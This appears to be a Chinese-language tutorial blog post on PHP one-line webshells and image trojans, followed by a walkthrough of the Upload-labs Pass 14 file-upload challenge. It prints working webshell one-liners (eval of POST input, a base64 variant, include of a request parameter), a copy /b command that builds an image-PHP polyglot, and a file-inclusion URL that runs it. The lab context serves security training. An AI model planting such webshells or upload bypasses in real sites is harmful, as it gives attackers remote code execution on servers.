什么是一句话木马?
PHP一句话木马是一种非常简短且隐蔽的恶意代码,通常只包含一行代码,因此得名“一句话木马”。这类木马常用于渗透测试和恶意攻击,目的是在服务器上执行任意PHP代码,以获得对服务器的控制权。
特点
- 简短隐蔽:一句话木马非常短小,通常只有一行代码,容易隐藏在合法的PHP文件中,不易被发现。
- 功能强大:尽管代码很短,但它可以通过参数传递任意代码,从而执行各种操作,例如文件管理、数据库操作和系统命令执行。
- 易于植入:一句话木马可以被植入到任何允许PHP代码执行的地方,例如网站的页面、插件或主题文件中。
常见的PHP一句话木马
以下是几个常见的PHP一句话木马示例:
- 基础版:
<?php @eval($_POST['cmd']); ?>
这段代码从POST请求中获取cmd参数的值,并使用eval函数执行它。攻击者可以通过发送特定的POST请求来执行任意PHP代码。
- Base64编码版:
<?php eval(base64_decode($_POST['cmd'])); ?>
这段代码从POST请求中获取cmd参数的值,先使用base64_decode函数解码,再使用eval函数执行。Base64编码可以增加隐蔽性。
- 文件包含版:
<?php include($_REQUEST['file']); ?>
为什么要使用图片木马?
图片木马是一种将恶意代码隐藏在图像文件中的技术,旨在通过图像文件传递恶意软件,从而绕过传统的安全检测机制。以下是使用图片木马的几个主要原因:
-
隐蔽性高:由于图像文件通常被认为是无害的,安全软件往往不会对其进行严格检查。恶意代码隐藏在图像文件中可以更容易地逃避检测。
-
社会工程攻击:图像文件通常是用户主动下载或点击的内容。通过发送包含木马的图像文件,攻击者可以利用社会工程学手段诱使用户打开文件,从而执行恶意代码。
-
绕过防御机制:很多防病毒软件和防火墙对常见的可执行文件类型进行严格的扫描和限制,但对图像文件的检查相对宽松。通过将恶意代码嵌入图像文件,攻击者可以绕过这些防御机制。
-
多种传播途径:图像文件可以通过多种途径传播,例如电子邮件附件、社交媒体、即时通讯应用和文件共享服务。这为攻击者提供了多种途径来传播木马。
-
隐蔽数据传输:图片木马技术还可以用于隐蔽数据传输。攻击者可以通过图像文件在被监控的网络环境中传输数据,而不容易被检测到。
技术实现
图片木马可以通过多种技术实现,包括但不限于:
-
Steganography(隐写术):在图像的像素数据中隐藏恶意代码。隐写术可以利用图像的低阶比特来嵌入数据,而不显著改变图像的外观。
-
文件捆绑:将恶意代码附加到图像文件末尾,或使用多部分文件格式,在同一个文件中包含图像数据和可执行代码。
练习靶场:Upload-labs
这是靶场设计者给出的源码:
function getReailFileType($filename){
$file = fopen($filename, "rb");
$bin = fread($file, 2); //只读2字节
fclose($file);
$strInfo = @unpack("C2chars", $bin);
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
$fileType = '';
switch($typeCode){
case 255216:
$fileType = 'jpg';
break;
case 13780:
$fileType = 'png';
break;
case 7173:
$fileType = 'gif';
break;
default:
$fileType = 'unknown';
}
return $fileType;
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_type = getReailFileType($temp_file);
if($file_type == 'unknown'){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
设计者自定义的getReailFileType()用于检测文件头部两个字节的信息(前两个字节是文件格式的标识),并且通过二进制码判断其文件的类型,然后控制文件的上传。
PNG文件以8字节的签名开始:89 50 4E 47 0D 0A 1A 0A
JPEG文件以2字节的起始标记开始:FFD8
GIF文件头由6个字节组成,包含GIF版本信息,如“GIF89a”或“GIF87a”
Upload-labs的Pass 14的练习我们需要用一张图片和一段PHP代码来合成一张图片码。
需要用到的PHP代码:
<?php
phpinfo();
?>
使用的cmd命令:
copy /b test.png + info.php shell.png
我们现在将shell,png上传:
现在我们需要构建URL来执行PHP代码:
构建的URL:/upload-labs/include.php?file=upload/3020240625173607.jpg
如果出现了乱码,则表示执行成功。